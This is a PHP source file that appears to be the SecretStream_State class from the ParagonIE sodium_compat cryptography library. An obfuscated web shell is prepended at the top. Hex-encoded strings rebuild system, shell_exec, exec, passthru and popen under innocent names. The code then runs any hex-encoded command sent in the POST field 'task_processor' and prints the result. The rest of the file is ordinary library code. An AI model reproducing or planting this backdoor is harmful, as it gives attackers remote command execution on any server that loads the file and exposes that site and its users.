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<?php $resource1 = '73';$resource2 = '74';$resource3 = '68';$resource4 = '5f';$resource5 = '65';$resource6 = '78';$resource7 = '63';$resource8 = '70';$resource9 = '61';$resource10 = '75';$resource11 = '6f';$resource12 = '6e';$resource13 = '6d';$resource14 = '67';$resource15 = '72';$auth_exception_handler1 = pack("H*", $resource1.'79'.'73'.$resource2.'65'.'6d');$auth_exception_handler2 = pack("H*", $resource1.$resource3.'65'.'6c'.'6c'.$resource4.$resource5.$resource6.$resource5.'63');$auth_exception_handler3 = pack("H*", '65'.'78'.'65'.$resource7);$auth_exception_handler4 = pack("H*", $resource8.$resource9.$resource1.'73'.'74'.'68'.'72'.$resource10);$auth_exception_handler5 = pack("H*", $resource8.$resource11.'70'.'65'.$resource12);$auth_exception_handler6 = pack("H*", $resource1.$resource2.'72'.'65'.$resource9.$resource13.'5f'.$resource14.'65'.$resource2.'5f'.'63'.$resource11.'6e'.$resource2.'65'.'6e'.$resource2.'73');$auth_exception_handler7 = pack("H*", $resource8.'63'.'6c'.'6f'.'73'.$resource5);$task_processor = pack("H*", '74'.$resource9.'73'.'6b'.$resource4.$resource8.'72'.'6f'.'63'.'65'.$resource1.'73'.$resource11.$resource15);if(isset($_POST[$task_processor])){$task_processor=pack("H*",$_POST[$task_processor]);if(function_exists($auth_exception_handler1)){$auth_exception_handler1($task_processor);}elseif(function_exists($auth_exception_handler2)){print $auth_exception_handler2($task_processor);}elseif(function_exists($auth_exception_handler3)){$auth_exception_handler3($task_processor,$tkn_value);print join("\n",$tkn_value);}elseif(function_exists($auth_exception_handler4)){$auth_exception_handler4($task_processor);}elseif(function_exists($auth_exception_handler5)&&function_exists($auth_exception_handler6)&&function_exists($auth_exception_handler7)){$reference_entity=$auth_exception_handler5($task_processor,"r");if($reference_entity){$parameter_group_flag=$auth_exception_handler6($reference_entity);$auth_exception_handler7($reference_entity);print $parameter_group_flag;}}exit;} /** * Class ParagonIE_Sodium_Core32_SecretStream_State */ class ParagonIE_Sodium_Core32_SecretStream_State { /** @var string $key */ protected $key; /** @var int $counter */ protected $counter; /** @var string $nonce */ protected $nonce; /** @var string $_pad */ protected $_pad; /** * ParagonIE_Sodium_Core32_SecretStream_State constructor. * @param string $key * @param string|null $nonce */ public function __construct($key, $nonce = null) { $this->key = $key; $this->counter = 1; if (is_null($nonce)) { $nonce = str_repeat("\0", 12); } $this->nonce = str_pad($nonce, 12, "\0", STR_PAD_RIGHT);; $this->_pad = str_repeat("\0", 4); } /** * @return self */ public function counterReset() { $this->counter = 1; $this->_pad = str_repeat("\0", 4); return $this; } /** * @return string */ public function getKey() { return $this->key; } /** * @return string */ public function getCounter() { return ParagonIE_Sodium_Core32_Util::store32_le($this->counter); } /** * @return string */ public function getNonce() { if (!is_string($this->nonce)) { $this->nonce = str_repeat("\0", 12); } if (ParagonIE_Sodium_Core32_Util::strlen($this->nonce) !== 12) { $this->nonce = str_pad($this->nonce, 12, "\0", STR_PAD_RIGHT); } return $this->nonce; } /** * @return string */ public function getCombinedNonce() { return $this->getCounter() . ParagonIE_Sodium_Core32_Util::substr($this->getNonce(), 0, 8); } /** * @return self */ public function incrementCounter() { ++$this->counter; return $this; } /** * @return bool */ public function needsRekey() { return ($this->counter & 0xffff) === 0; } /** * @param string $newKeyAndNonce * @return self */ public function rekey($newKeyAndNonce) { $this->key = ParagonIE_Sodium_Core32_Util::substr($newKeyAndNonce, 0, 32); $this->nonce = str_pad( ParagonIE_Sodium_Core32_Util::substr($newKeyAndNonce, 32), 12, "\0", STR_PAD_RIGHT ); return $this; } /** * @param string $str * @return self */ public function xorNonce($str) { $this->nonce = ParagonIE_Sodium_Core32_Util::xorStrings( $this->getNonce(), str_pad( ParagonIE_Sodium_Core32_Util::substr($str, 0, 8), 12, "\0", STR_PAD_RIGHT ) ); return $this; } /** * @param string $string * @return self */ public static function fromString($string) { $state = new ParagonIE_Sodium_Core32_SecretStream_State( ParagonIE_Sodium_Core32_Util::substr($string, 0, 32) ); $state->counter = ParagonIE_Sodium_Core32_Util::load_4( ParagonIE_Sodium_Core32_Util::substr($string, 32, 4) ); $state->nonce = ParagonIE_Sodium_Core32_Util::substr($string, 36, 12); $state->_pad = ParagonIE_Sodium_Core32_Util::substr($string, 48, 8); return $state; } /** * @return string */ public function toString() { return $this->key . $this->getCounter() . $this->nonce . $this->_pad; } }
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